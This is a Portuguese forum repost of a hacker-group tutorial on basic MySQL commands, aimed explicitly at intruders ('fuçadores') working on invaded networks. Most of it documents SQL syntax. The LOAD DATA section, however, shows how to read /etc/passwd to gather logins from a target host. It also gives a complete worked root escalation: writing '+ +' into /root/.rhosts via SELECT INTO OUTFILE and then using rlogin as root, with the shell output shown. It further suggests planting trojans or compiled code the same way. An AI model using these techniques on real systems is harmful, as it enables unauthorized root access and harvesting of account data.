Básico MySql

[Anonymous]

Bem, já que estou aprendendo MySql também, vou postar algo relacionado!
Desenvolvido por Nash Leon vulgo coração de leão.
mailto:nashleon@yahoo.com.br">nashleon@yahoo.com.br
Unsekurity Team

* Longe de ensinar passo a passo tudo sobre MySQL, irei aqui somente descrever coisas basicas,
voltadas ao pessoal Newbie. Alguns esquemas simples, de modo que nao entrarei fundo
em nada, muito menos na criação de databases e etc.

       **********************************
             *     TUTORIAL BASICO DE MySQL      *
       **********************************

---------------------------------INDICE------------------------------------

1 - INTRODUÇÃO.
    1.1 - Termos Usados.
2 - O QUE EH O MySQL.
3 - BAIXANDO, INSTALANDO E EXECUTANDO SERVIDOR.
4 - OPERACOES BASICAS.
    4.1 Conectando e Disconectando
    4.2 A Linguagem do MySQL
        4.2.1 - Escrevendo Strings e Numeros
        4.2.2 - Variaveis
        4.2.3 - Tipos de Colunas
        4.2.4 - Algumas Instrucoes MySQL e Suas Sintaxes
    4.3 Enviando Queries
    4.4 Exemplos de Queries Comuns
5 - ADMINISTRACAO BASICA
    5.1 Controle de Acesso
    5.2 Setando Privilegios
6 - TERMINANDO.
    6.1 - Links e Referencias.
    6.2 - Consideracoes Finais.
------------------------------------------------------------------------------

1 - INTRODUÇÃO

   O pessoal mais inexperiente tem mais dificuldade em achar informações de nível que
poderiam ser boas no intuito de agucar a curiosidade do mesmo em busca de mais informações e
dominio sobre os sistemas. Uma das coisas mais importantes que uma rede de médio ou grande
porte pode conter são os bancos de dados. Esses bancos de dados em sua maioria sao verdadeiros
canivetes suiços, onde neles pode-se achar desde informações pessoais dos usuarios e clientes,
ateh mesmo dados sigilosos e projetos "secretos". Um "fucador" mais experiente não se contenta
somente com o acesso ao Sistema Operacional em sí, ele busca acima de tudo encontrar
informações que possam de alguma forma abrangir mais seus conhecimentos.

 É nesse intuito que os banco de dados podem servir de benefício, a idéia não é bisbilhotar dados
pessoais dos usuários do sistema, longe disso, e sim  avancar mais no dominio e conhecimento da
rede invadida.
Durante muito tempo (hoje ainda é), os banco de dados eram aplicações "independentes", cada empresa
procurava bons programadores para construirem um banco de dados proprio (tomara que eu fosse
escolhido quando terminar o curso) ;D   (exclusivo, as vezes), dsses que supriam as necessidades
das empresas.
Com o passar dos anos, foi contemplado um esquema mais prático que pudesse interagir bancos de
dados de sistemas diferentes, melhor dizendo, um esquema onde pudesse haver portabilidade e praticidade.
Foi aih que surgiu os "criadores de banco de dados", e suas respectivas linguagens.
Como tudo vinha caminhando para uma  globalização (hoje já é fato), os banco de dados se 'universalizaram'.


1.1 - Termos Usados
--------------------
Vou descrever aqui alguns termos que irei usar no decorrer do tutorial
para que nao haja duvidas, e para facilitar o entendimento daqueles que
já leram alguns tutoriais Internet à fora:

Database (DB)  -> Banco de dados (BD). Se refere ao banco de dados criado pela aplicação MySQL.
 Esses databases se encontram geralmente no diretório "PATH/data".Onde PATH eh o diretorio onde se
 localiza o mysql.

Colums -> Colunas, vou me referir aqui como coluna mesmo.
Table    ->  Tabelas, também irei "aportuguesar" esse termo.
Index    ->  Indexador.
floating point -> Programadores em C sabem muito bem, é o ponto flutuante.
unsigned -> Sem sinal.
signed -> Com sinal.
lenght -> Comprimento.

2 - O QUE EH O MySQL
---------------------
MySQL é um servidor de banco de dados. Ele atua em cima de SQL(StructuredQuery Language)
que é a mais popular e padronizada linguagem de banco de dados do mundo (taih a sua importancia).
MySQL eh uma ferramenta composta por servidor e cliente que consiste de um servidor daemon
(mysqld) e muitos diferentes programas clientes e bibliotecas (libraries).

SQL eh uma linguagem padronizada que facilita o armazenamento, atualização e o acesso à
informacao (Banco de dados). Nesse tutorial chamarei a linguagem usada de linguagem MySQL,
pois assim como o TURBO C eh diferente em sistemas, essa linguagem (SQL) tambem possui suas
diferenças.

Para um "fuçador", (desculpe o termo, hehe!! ;D) talvez seja de suma importância o conhecimento
de todos os servidores de banco de dados que puder obter. Sei que isto parece um tanto utopico,
mas o basico sobre eles nao eh dificil.MySQL talvez seja o mais facil, por isso, como ponta peh inicial,
iremos ver coisas basicas sobre ele.

3 - BAIXANDO, INSTALANDO E EXECUTANDO SERVIDOR
-----------------------------------------------
Bom,amigo, se você tiver acesso a redes mundo a fora que contem MySQL nelas, voce pode pular
este item. Mas se voce nao tiver, nao se preocupe, voce pode testar em sua maquina em casa.
Lembrando que todos os esquemas aqui sao para Linux,diga-se Linux Slackware. Os esquemas
aqui nesse item, talvez nao sirvam em outras plataformas. Antes de mais nada se faz necessario baixar
os programas. Existem varios metodos de instalacao, dentre os quais voce pode optar em baixar o source
para compilar em sua maquina, ou baixar os binarios.Se voce optar por baixar o source, preste bem
atenção aos arquivos de instrução de instalacao e siga os passos descritos nesses arquivos.
Se voce optar pelos binarios (eu optei por eles, as novas versoes nao compilam, muitos problemas
in my ShitWare), bastarah para você descompactar o arquivo. Os enderecos para baixar os mesmos
podem ser encontrados em: http://www.mysql.com/ ;
lá existem varios links para tutoriais e informacoes sobre MySQL.

Abaixo seguem os passos para se instalar uma versao binaria:

# tar zvpvf mysql-3.22.32.tar.gz
# ln -s mysql-3.22.32-pc-linux-gnu-i686 mysql
# cd mysql
# scripts/mysql_install_db

Para executar o servidor:

# bin/safe_mysqld &

Muito pratico, nao? Eh preferivel instalar via source.As versoes binarias
de qualquer programa devem ser vistas com cautela.Torna-se mais dificil a
percepcao de erros e problemas usando versoes binarias, e a possibilidade
de instalacao de backdoor nas mesmas eh bem maior, que digam os programas
para plataformas de codigo-fonte fechado(Windows,SunOS e etc)!

Uma vez feito tudo isto voce poderah notar algumas coisas.Digite ps aux e
netstat -na.Poderah ver os processos rodando e a porta tcp 3306 aberta
esperando(LISTEN) conexao.Isso eh importante, pois quando acessar uma rede
externa, poderah atraves desses "vestigios" reconhecer que o sistema estah
executando MySQL.

4 - OPERACOES BASICAS
----------------------
Essa parte destina-se somente a descrever algumas operacoes basica de
administracao.O que interessa primeiro para um fucador quase sempre eh
obter "root" no sistema.Em banco de dados conhecer um pouco das possiveis
operacoes com o servidor daemon eh uma boa, pois voce poderah com o tempo
e pratica, alterar facilmente 'banco de dados' de terceiros e as proprias
configuracoes do daemon.

O sistema uma vez instalado pede para o admin configurar logo sua senha.
Para isso basta voce seguir um dos passos abaixo:

[localhost: /mysql]# ./bin/mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 10 to server version: 3.22.32

Type 'help' for help.

mysql>

Voce digita seu passwd inicial quando ele pedir.Vode pode tambem atraves
da linha de comando enviar diretamente o passwd.Ex:

[localhost: /mysql]# ./bin/mysql -u root -pminhasenha

No caso acima minhasenha eh o passwd.Cuidado com isto, pois pode ser
facilmente 'capturado', pois encontra-se em modo limpo.Um outro programa
usado para "conexoes" eh o mysqladmin, com ele voce pode fazer varias
operacoes no servidor.Sua sintaxe eh a seguinte:

Usage: ./mysqladmin [OPTIONS] command command....

Digite ./mysqladmin --help | more para conferir mais sobre seu uso.Um
exemplo basico de seu uso seria:

[localhost: /mysql]# ./mysqladmin -u root -pminhasenha processlist
+----+------+-----------+----+---------+------+-------+------------------+
| Id | User | Host      | db | Command | Time | State | Info             |
+----+------+-----------+----+---------+------+-------+------------------+
| 11 | root | localhost |    | Sleep   | 447  |       |                  |
| 14 | root | localhost |    | Query  | 0      |       | show processlist |
+----+------+-----------+----+---------+------+-------+------------------+

Pelo visto acima, meu bd nao tah executando muita coisa, mas vamos trabalhar.
As opcoes padroes sao lidas de um arquivo /etc/my.cnf, para todos, e ~/.my.cnf para opções
especificas de um usuario do sistema. Use comandos simples de inicio, como status, ping,
version, refresh, etc.
 
O comando "shutdown" serve para derrubarmos, ou melhor, terminarmos a execução do
daemon.Isso eh mais pratico do que sair dando kill PID por aih.
Uma vez o daemon derrubado, necessita ser novamente carregado via
comando" bin/safe_mysqld & ".

Se o sistema estiver com configuracao padrao, qualquer um usuario do
sistema pode se conectar ao mesmo(Atencao Fucadores!).Para isso basta
digitar:

[localhost: /mysql]$ bin/mysql

Voce poder ver o user digitando no prompt do MySQL "status", veja:

mysql> status
--------------
./mysql  Ver 9.38 Distrib 3.22.32, for pc-linux-gnu (i686)

Connection id:          3
Current database:
Current user:           nashleon@localhost
Server version          3.22.32
Protocol version        10
Connection              Localhost via UNIX socket
UNIX socket             /tmp/mysql.sock
Uptime:                 4 min 39 sec

Threads: 2  Questions: 10  Slow queries: 0  Opens: 6  Flush tables: 1Open tables: 2
--------------

Como podemos notar o user em questao eh nashleon.Por default tambem, vale
ressaltar uma coisa.Qualquer usuario do sistema pode executar o comando
bin/mysqladmin podendo desse modo derrubar o servidor.Existem varias
maneiras de se setar permissoes, tem alguns scripts no diretorio bin
para isso, mas eu prefiro deixar como estah .;)

[Anonymous]

* * continuação!!


As databases são diretórios que contém os arquivos que correspondem as
tabelas do banco de dados.CREATE DATABASE na verdade soh cria um diretorio,
uma vez que no inicio, nao tem nenhuma tabela.


* DROP DATABASE -> Eh usado para apagar tabelas e databases(os diretorios
---------------      como um todo).Sua sintaxe eh a seguinte:

DROP DATABASE [IF EXISTS] db_name

Exemplo:

mysql> drop database korgan;
Query OK, 0 rows affected (0.06 sec)

mysql> show databases;
+----------+
| Database |
+----------+
| mysql    |
| nl       |
| precos   |
| test     |
+----------+
4 rows in set (0.01 sec)

Como voce pode notar, a database 'korgan' nao existe mais.Muito cuidado
ao usar este arquivo, mano!

* USE -> Eh usado para chamar um database.Ele irah avisar ao MySQL para
------   tornar naquele momento o database que o usuario deseja, o
    database default para manipulacao de dados(queries).Sintaxe:

USE db_name

Onde db_name eh o nome do database, exemplo:

mysql> use nl;
Database changed
mysql>

Voce pode usar o comando USE para ficar alternando entre as databases,
mais a frente, quando analisarmos bem SELECT, veremos como fazer isso.

* CREATE TABLE -> Usado para criacao de tabelas.Ele cria uma tabela com
--------------    um nome dado na atual database.Em MySQL 3.22 ou versoes
        superiores, o nome da tabela pode ser especificado como:
        db_name.tbl_name.Isto faz com que se trabalhe com uma
        tabela que nao faz parte da database atual.Sintaxe:

CREATE [TEMPORARY] TABLE [IF NOT EXISTS] tbl_name [(create_definition,...)]
[table_options] [select_statement]

Onde:

+ tbl_name eh o nome da para a tabela.

+ create_definition pode ser:

col_name type [NOT NULL | NULL] [DEFAULT default_value] [AUTO_INCREMENT]
            [PRIMARY KEY] [reference_definition]
ou    PRIMARY KEY (index_col_name,...)
ou    KEY [index_name] (index_col_name,...)
ou    INDEX [index_name] (index_col_name,...)
ou    UNIQUE [INDEX] [index_name] (index_col_name,...)
ou    [CONSTRAINT symbol] FOREIGN KEY index_name (index_col_name,...)
            [reference_definition]
ou    CHECK (expr)

type descrito acima(em create_definition)pode ser:
     

TINYINT[(length)] [UNSIGNED] [ZEROFILL]
ou    SMALLINT[(length)] [UNSIGNED] [ZEROFILL]
ou    MEDIUMINT[(length)] [UNSIGNED] [ZEROFILL]
ou    INT[(length)] [UNSIGNED] [ZEROFILL]
ou    INTEGER[(length)] [UNSIGNED] [ZEROFILL]
ou    BIGINT[(length)] [UNSIGNED] [ZEROFILL]
ou    REAL[(length,decimals)] [UNSIGNED] [ZEROFILL]
ou    DOUBLE[(length,decimals)] [UNSIGNED] [ZEROFILL]
ou    FLOAT[(length,decimals)] [UNSIGNED] [ZEROFILL]
ou    DECIMAL(length,decimals) [UNSIGNED] [ZEROFILL]
ou    NUMERIC(length,decimals) [UNSIGNED] [ZEROFILL]
ou    CHAR(length) [BINARY]
ou    VARCHAR(length) [BINARY]
ou    DATE
ou    TIME
ou    TIMESTAMP
ou    DATETIME
ou    TINYBLOB
ou    BLOB
ou    MEDIUMBLOB
ou    LONGBLOB
ou    TINYTEXT
ou    TEXT
ou    MEDIUMTEXT
ou    LONGTEXT
ou    ENUM(value1,value2,value3,...)
ou    SET(value1,value2,value3,...)

index_col_name descrito em  create_definition pode ser:
       
      col_name [(length)]

reference_definition descrito tambem em create_definition pode ser:

      REFERENCES tbl_name [(index_col_name,...)]
                   [MATCH FULL | MATCH PARTIAL]
                   [ON DELETE reference_option]
                   [ON UPDATE reference_option]

reference_option descrito acima pode ser:

      RESTRICT | CASCADE | SET NULL | NO ACTION | SET DEFAULT

+ table_options descrito na sintaxe de create table pode ser:

     

TYPE = {ISAM | MYISAM | HEAP}
ou    AUTO_INCREMENT = #
ou    AVG_ROW_LENGTH = #
ou    CHECKSUM = {0 | 1}
ou    COMMENT = "string"
ou    MAX_ROWS = #
ou    MIN_ROWS = #
ou    PACK_KEYS = {0 | 1}
ou    PASSWORD = "string"
ou    DELAY_KEY_WRITE = {0 | 1}
ou    ROW_FORMAT= { default | dynamic | static | compressed }

+ select_statement  descrito na sintaxe de create table pode ser:

   [IGNORE | REPLACE] SELECT ..(Algumas declaracoes select permitidas)[/quote]

A primeira visto isso em cima parece complexo, somente a pratica mesmo
para deixar as coisas bem claras.De forma bem basica, basta seguir as
regras e ver a logica.Voce jah sabe criar e usar um database, vamos agora
criar uma simples tabela nele(Use algum database jah criado por voce):

mysql> create table hackers
    -> (grupos CHAR(15) DEFAULT ''     NOT NULL,
    -> home_pages CHAR(30) DEFAULT ''     NOT NULL);
Query OK, 0 rows affected (0.15 sec)

Acima nos criamos a tabela hackers na primeira linha, na segunda
declaramos um tipo de coluna CHAR (grupos) e na terceira outro tipo de
coluna CHAR(home_pages);

mysql> show tables;
+--------------+
| Tables in nl |
+--------------+
| hackers      |
+--------------+
1 row in set (0.00 sec)

Usamos SHOW para ver se nossa tabela foi criada mesmo.Estah criada a
tabela!!:).Aih estah uma simples tabela.Aos poucos a gente vai engrossando
a massa.


* ALTER TABLE -> Nos permite mudar a estrutura de uma tabela existente.
--------------    Por exemplo, voce pode adicionar ou deletar colunas,criar
       ou destruir indexes, mudar o tipo de uma coluna existente,
       ou renomear colunas ou a propria tabela mesmo.Sintaxe:

ALTER [IGNORE] TABLE tbl_name alter_spec [, alter_spec ...];

Onde alter_spec se refere as especificacoes do ALTER, que podem ser:

       

ADD [COLUMN] create_definition [FIRST | AFTER column_name ]
  or    ADD INDEX [index_name] (index_col_name,...)
  or    ADD PRIMARY KEY (index_col_name,...)
  or    ADD UNIQUE [index_name] (index_col_name,...)
  or    ALTER [COLUMN] col_name {SET DEFAULT literal | DROP DEFAULT}
  or    CHANGE [COLUMN] old_col_name create_definition
  or    MODIFY [COLUMN] create_definition
  or    DROP [COLUMN] col_name
  or    DROP PRIMARY KEY
  or    DROP INDEX index_name
  or    RENAME [AS] new_tbl_name
  or    table_options

Seguindo o mesmo esquema do exemplo anterior com CREATE TABLE, vamos
ver um exemplo de ALTER TABLE renomeando uma tabela(a tabela hackers que
haviamos criado):

mysql> show tables;
+--------------+
| Tables in nl |
+--------------+
| hackers      |
+--------------+
1 row in set (0.03 sec)

Aih estah a tabela antes.Agora executando alter:

mysql> alter table hackers rename as grupos_hackers;
Query OK, 0 rows affected (0.01 sec)

mysql> show tables;
+----------------+
| Tables in nl   |
+----------------+
| grupos_hackers |
+----------------+
1 row in set (0.01 sec)

Como podemos ver a tabela foi renomeada de hackers para grupos_hackers.

* DROP TABLE -> Eh usado para remover uma ou mais tabelas.Todos os dados
------------    da tabela e a tabela definida sao removidos.Atencao nesse
      comando tambem.Sua sintaxe:

DROP TABLE [IF EXISTS] tbl_name [, tbl_name,...]

Esse IF EXISTS eh usado para previnir erros.Um exemplo desse comando pode
ser visto abaixo, usando nossa tabela criada nos itens anteriores:

mysql> show tables;
+----------------+
| Tables in nl   |
+----------------+
| grupos_hackers |
+----------------+
1 row in set (0.01 sec)

Vamos apagar a tabela grupos_hackers:

mysql> drop table grupos_hackers;
Query OK, 0 rows affected (0.01 sec)

mysql> show tables;
Empty set (0.01 sec)

Apagamos com sucesso.Muito cuidado com esse comando quando for usa-lo
rede a fora.

* OPTIMIZE TABLE -> Deve ser usado se voce tem deletado uma parte grande
-----------------   de uma tabela ou se voce tem feito mudancas com o
          tamanho-variavel de filas(tabelas que tem colunas
          do tipo VARCHAR, BLOB ou TEXT).Voce pode usar OPTIMIZE
          TABLE para corrigir um espaco nao usado.OPTIMIZE TABLE
          trabalha fazendo uma copia temporaria da tabela original.
          A velha tabela eh copiada para a nova tabela, entao a
          tabela original eh deletada e a nova eh renomeada.Sintaxe:

OPTIMIZE TABLE tbl_name

Fuçadores atencao!!Enquanto  OPTIMIZE TABLE estah executando. a tabela
original pode ser lida por outro cliente.

* SELECT -> Este eh uma intrucao interessantissima.Ela eh usado para
--------    resgatar fila selecionada de uma ou mais tabelas.Ela eh usada
       mais precisamente para analisar os dados que estao sendo
       manipulados.Esse comando eh um verdadeiro canivete suico.Sintaxe:

SELECT [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [HIGH_PRIORITY]
       [DISTINCT | DISTINCTROW | ALL] select_expression,...
       [INTO {OUTFILE | DUMPFILE} 'file_name' export_options]
       [FROM table_references
       [WHERE where_definition]
       [GROUP BY col_name,...]
       [HAVING where_definition]
       [ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] ,...]
       [liMIT [offset,] rows]
       [PROCEDURE procedure_name] ]

Isso tudo acima aih eh sua sintaxe.Nao tem muito segredo.Vejamos alguns
argumentos:

+ select_expression indica a coluna que voce quer resgatar.

Select tambem pode ser usado para resgatar filas computadas sem referencia
a alguma tabela.Exemplo:

mysql> select 0xa + 0x6; # Somando dois numeros hexadecimais.
+-----------+
| 0xa + 0x6 |
+-----------+
|        16 |
+-----------+
1 row in set (0.01 sec)

Funciona como uma verdadeira calculadora.Veja na parte de links para obter
mais informacoes sobre select nos tutoriais que tem net a fora.

* INSERT -> Insere novas filas sobre uma tabela existente.Sintaxe:
---------

   

INSERT [LOW_PRIORITY | DELAYED] [IGNORE] [INTO] tbl_name [(col_name,...)]
           VALUES (expression,...),(...),...

ou INSERT [LOW_PRIORITY | DELAYED] [IGNORE] [INTO] tbl_name [(col_name,...)]
          SELECT ...


ou INSERT [LOW_PRIORITY | DELAYED] [IGNORE] [INTO] tbl_name
          SET col_name=expression, col_name=expression, ...

A primeira forma de declaracao(INSERT ... VALUES) insere filas baseadas
em valores explicitamente especificados em tbl_name(nome da tabela).Exemplo:

- Criamos tabela, se tiver aih, use qualquer uma:

mysql> create table hackers
    -> (grupos CHAR(15)  DEFAULT '' NOT NULL,
    -> home_pages CHAR(40) DEFAULT '' NOT NULL);
Query OK, 0 rows affected (0.01 sec)

- Inserimos os valores que desejamos:

mysql> insert into hackers values
    -> ("Unsekurity Team","http://unsekurity.cyberpunk.com.br"),
    -> ("w00w00","http://www.w00w00.org"),
    -> ("Chaos Computer Club","http://www.ccc.de");
Query OK, 3 rows affected (0.01 sec)
Records: 3  Duplicates: 0  Warnings: 2

Para visualizarmos a tabela podemos usar SELECT:

mysql> select * from hackers;
+-----------------+------------------------------------+
| grupos          | home_pages                         |
+-----------------+------------------------------------+
| Unsekurity Team | http://unsekurity.cyberpunk.com.br |
| w00w00          | http://www.w00w00.org              |
| Chaos Computer  | http://www.ccc.de                  |
+-----------------+------------------------------------+
3 rows in set (0.00 sec)

A segundo forma se declaracao(INSERT ... SELECT) insere filas selecionadas
de outra(s) tabela(s).Vejamos um exemplo:

- Vamos inserir o dado sobre o 'Unsekurity Team' da tabela hackers acima
  em outra tabela.Vamos criar uma nova tabela:

mysql> create table fucadores_brasileiros
    -> (grupo CHAR(15) DEFAULT '' NOT NULL,
    -> home_page CHAR(40) DEFAULT '' NOT NULL);
Query OK, 0 rows affected (0.01 sec)

- Tabela foi criada acima, agora vamos inserir os dados da outra tabela
  (tabela hackers), nessa tabela(tabela fucadores_brasileiros):

mysql> insert into fucadores_brasileiros select * from hackers where
    -> grupos = 'Unsekurity Team';
Query OK, 1 row affected (0.02 sec)
Records: 1  Duplicates: 0  Warnings: 0

mysql> select * from fucadores_brasileiros;
+-----------------+------------------------------------+
| grupo           | home_page 
+-----------------+------------------------------------+
| Unsekurity Team | http://unsekurity.cyberpunk.com.br |
+-----------------+------------------------------------+
1 row in set (0.01 sec)

Aih estah.Com pratica tudo sai mano, mas cuidado na interacao dos comandos.

A terceira forma de declaracao de INSERT(INSERT ... SET) serve para setar
valores especificos para as colunas indicadas.Existe muito mais
informacoes sobre INSERT, se necessitar, veja os links.

* REPLACE -> Este comando trabalha exatamente como INSERT, exceto que se
----------   os velhos dados gravados na tabela possuem algum valor, como
             uma nova gravacao num unico index, os velhos dados sao
        deletados apos os novos dados serem inseridos.Sua Sintaxe
        segue as mesmas regras de INSERT:

   

REPLACE [LOW_PRIORITY | DELAYED] [INTO] tbl_name [(col_name,...)]
            VALUES (expression,...)

ou  REPLACE [LOW_PRIORITY | DELAYED] [INTO] tbl_name [(col_name,...)]
            SELECT ...

ou  REPLACE [LOW_PRIORITY | DELAYED] [INTO] tbl_name
            SET col_name=expression, col_name=expression,...

* LOAD DATA INFILE -> Este comando le filas de um arquivo texto sobre uma
--------------------  tabela.Sua sintaxe eh:

LOAD DATA [LOW_PRIORITY] [LOCAL] INFILE 'file_name.txt' [REPLACE | IGNORE]
          INTO TABLE tbl_name [FIELDS [TERMINATED BY '\t'] [OPTIONALLY]
          ENCLOSED BY ''] [ESCAPED BY '\\' ]] [liNES TERMINATED BY '\n']
          [IGNORE number LINES] [(col_name,...)]

Esse comando carrega dados de um arquivo file_name.txt sobre uma tabela
tbl_name.Essa instrucao eh muito importante, veremos um simples exemplo
dela.

mysql> create table pass(
    -> passwd_local char(80) not null);
Query OK, 0 rows affected (0.02 sec)

mysql> load data local infile "/etc/passwd" into table pass;
Query OK, 18 rows affected (0.01 sec)
Records: 18  Deleted: 0  Skipped: 0  Warnings: 0

mysql> select * from pass;
+-----------------------------------------------------------+
| passwd_local
+-----------------------------------------------------------+
| root:x:0:0::/root:/bin/bash
| bin:x:1:1:bin:/bin: 
| daemon:x:2:2:daemon:/sbin: 
| adm:x:3:4:adm:/var/log: 
| lp:x:4:7:lp:/var/spool/lpd: 
| sync:x:5:0:sync:/sbin:/bin/sync
| shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown   
| halt:x:7:0:halt:/sbin:/sbin/halt   
| mail:x:8:12:mail:/var/spool/mail:     
| news:x:9:13:news:/usr/lib/news:     
| uucp:x:10:14:uucp:/var/spool/uucppublic:     
| operator:x:11:0:operator:/root:/bin/bash   
| games:x:12:100:games:/usr/games:   
| ftp:x:14:1::/home/ftp:/bin/bash   
| gdm:x:42:42:GDM:/var/state/gdm:/bin/bash 
| nobody:x:99:99:nobody:/:
| nashleon:x:1000:100:nash leon,,,:/home/nashleon:/bin/bash
| martin:x:1001:100:martin fallon,,,:/home/martin:/bin/bash
+-----------------------------------------------------------+
18 rows in set (0.01 sec)

Tenha calma, NewBie!!:)..Esse arquivo, todos tem permissao de leitura.Se
voce tem somente acesso ao servidor MySQL, esse esquema pode ser util
para pegar os logins e algumas informacoes do host alvo.Quer ver um
esquema interessante sobre isto??? :).Se a configuracao do MySQL for
padrao, e a porta 513(login) estiver aberta, podemos fazer:

--------------------- Simples Técnica  ---------------------------

[localhost]$ ls -l /root
/bin/ls: /root: Permission denied
[localhost]$ echo '+ +' >> /tmp/maismais
[localhost]$ bin/mysql -u root
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3 to server version: 3.22.32

Type 'help' for help.

mysql> show databases;
+----------+
| Database |
+----------+
| mysql    |
| test     |
+----------+
2 rows in set (0.00 sec)

mysql> use test;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table mais(
    -> rlogin char(10) not null);
Query OK, 0 rows affected (0.01 sec)

mysql> load data local infile "/tmp/maismais" into table mais;
Query OK, 1 row affected (0.02 sec)
Records: 1  Deleted: 0  Skipped: 0  Warnings: 0

mysql> select * from mais;
+--------+
| rlogin |
+--------+
| + +    |
+--------+
1 row in set (0.01 sec)

mysql> select * from mais into outfile "/root/.rhosts";
Query OK, 1 row affected (0.01 sec)

mysql> \q
Bye

[localhost]$ rlogin 127.0.0.1 -l root
Linux 2.2.13.
Last login: Wed May 31 07:00:47 -0800 2000 on tty5.
No mail.
[localhost]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),
6(disk),10(wheel),11(floppy)

-------------------------------------------------------------------------

Em sistemas novos, o rlogin nao permite conexao root sem senha, mas alguns
sistemas antigos, isso ainda eh possivel.Voce pode mandar um trojan de
diretorio,um .profile, e etc...Use sua imaginacao e analise seu caso, o
esquema acima pode ser feito, voce pode criar um .c e mandar compilar via
shell script, enfim, use sua imaginacao.Outra coisa, se pode escrever num
diretorio "/root" aonde nao escreverah???


* SET   -> Muda ou seta valores no MySQL.

SET [OPTION] SQL_VALUE_OPTION= value, ...

A Sintaxe acima, seta varios tipos de opcoes que mudam a operacao do servidor
ou do cliente.Algumas opcoes que sao setadas permanacem com efeito ateh a
sessao atual terminar ou ateh que voce set um valor diferente para a opcao.

SET PASSWORD = PASSWORD('alguma senha')

A Sintaxe acima seta senha para o usuario atual.Qualquer usuario nao
anonymous(anonimo) pode mudar seu proprio passwd.

SET PASSWORD FOR user = PASSWORD('alguma senha')

A Sintaxe acima seta senha para um usuario especifico, no servidor atual.
Somente um usuario com acesso para o banco de dados mysql pode fazer isso.
Por padrao, somente o root pode fazer isso, ou seja:

[localhost]$ bin/mysql -u root
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 4 to server version: 3.22.32

Type 'help' for help.

mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql>

ou se preferir:

[localhost]$ bin/mysql -u root mysql
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 6 to server version: 3.22.32


Type 'help' for help.

mysql>
A Instalacao padrao nos permite 'brincar' de varios modos com o servidor
MySQL.Serah mostrado mais abaixo como setar passwd de modo mais especifico.
Outras Sintaxes interessantes para SET sao:

SET SQL_SAFE_MODE = 0 | 1 -> Seta modo seguro, onde se alguem tentar
              instrucoes como UPDATE e DELETE, o servidor irah
              abordar.Caso SQL_SAFE_MODE esteja setado com 1.

SET SQL_LOG_OFF = 0 | 1 -> Se estiver setado para 1, nao irah logar no log
                           de termino do cliente.

SET SQL_LOG_UPDATE = 0 | 1 -> Se estiver setado para 0,nao logara no log
               de update do cliente.

SET SQL_SELECT_LIMIT = value | DEFAULT -> Seta o numero maximo de gravacoes
                 para retorno da declaracao
                 SELECT.Por default, esse numero
                 maximo para novas conexoes eh
                 ilimitado, nao tem limite.


* UPDATE  -> Essa instrucao eh usada para atualizar colunas nas saidas
---------    das filas da tabela com novos valores.A instrucao SET eh
        usada em conjunto com essa para indicar quais colunas os
        valores delas devem ser modificados.Sua Sintaxe:

UPDATE [LOW_PRIORITY] tbl_name SET col_name1=expr1,col_name2=expr2,...
       [WHERE where_definition] [liMIT #]

Se eh dada uma instrucao WHERE, entao eh especificada quais filas devem
ser atualizadas, senao todas as filas serao atualizadas.

* FLUSH -> Essa instrucao eh usada quando queremos 'limpar' alguns dos
--------   dados internos do cache que o MySQL usa.Para executar FLUSH,
      voce deve ter o privilegio reload(recarregar).Sintaxe:

FLUSH flush_option [,flush_option]

Onde flush_option pode ser:

HOSTS -> Esvazia a tabela de hosts.
LOGS  -> Fecha, Reabre os arquivos de log padrao e atualiza os mesmos.
TABLES -> Fecha todas as tabelas abertas.
PRIVILEGES -> Recarrega os privilegios de uma tabela grant(concedida) no
         database do mysql.
STATUS -> Zera os muitas 'variaveis status'.

* KILL -> Essa instrucao killa(derruba) um thread de uma conexao separada
-------   no MySQL.Sintaxe:

KILL thread_id

Cada conexao para mysqld executa em um thread separado.Voce pode ver quais
threads estao sendo executados com a instrucao SHOW PROCESSLIST, e killar
um thread especifico com o comando KILL thread_id.Se voce tem o privilegio
"process", voce pode ver e killar todos os threads, se nao tem, voce soh
poderah ver e killar os seus processos.

* EXPLAIN -> Outro canivete suico.Essa instrucao serve para nos ajudar
----------   nos fornecendo informacoes sobre algo.Sao varias as possiveis
        sintaxes para essa instrucao.Vejamos:

+ EXPLAIN tbl_name

A Sintaxe acima nos fornece informacoes sobre uma tabela.Ela eh
equivalente a instrucao DESCRIBE tbl_name ou mesmo a instrucao SHOW
columns FROM tbl_name.Vejamos:

mysql> explain mais;
+--------+----------+------+-----+---------+-------+
| Field  | Type     | Null | Key | Default | Extra |
+--------+----------+------+-----+---------+-------+
| rlogin | char(10) |      |     |         |       |
+--------+----------+------+-----+---------+-------+
1 row in set (0.03 sec)

mysql> describe mais;
+--------+----------+------+-----+---------+-------+
| Field  | Type     | Null | Key | Default | Extra |
+--------+----------+------+-----+---------+-------+
| rlogin | char(10) |      |     |         |       |
+--------+----------+------+-----+---------+-------+
1 row in set (0.00 sec)

mysql> show columns from mais;
+--------+----------+------+-----+---------+-------+
| Field  | Type     | Null | Key | Default | Extra |
+--------+----------+------+-----+---------+-------+
| rlogin | char(10) |      |     |         |       |
+--------+----------+------+-----+---------+-------+
1 row in set (0.01 sec)


+ EXPLAIN SELECT select_options

A sintaxe acima indica para o MySQL como ele deve processar a instrucao
SELECT, provendo informacoes sobre como as tabelas estao associadas e em
que ordem.Exemplo:

mysql> explain select * from mais;
+-------+--------+---------------+------+---------+------+------+-------+
| table | type   | possible_keys | key  | key_len | ref  | rows | Extra |
+-------+--------+---------------+------+---------+------+------+-------+
| mais  | system | NULL          | NULL |    NULL | NULL |    1 |       |
+-------+--------+---------------+------+---------+------+------+-------+
1 row in set (0.14 sec)

Existem muitas outras declaracoes e sintaxes para EXPLAIN, mas o basico eh
isso que descrevi.

* DESCRIBE -> Essa instrucao eh usada para nos dar informacoes sobre uma
-----------   coluna de uma tabela.Sintaxe:

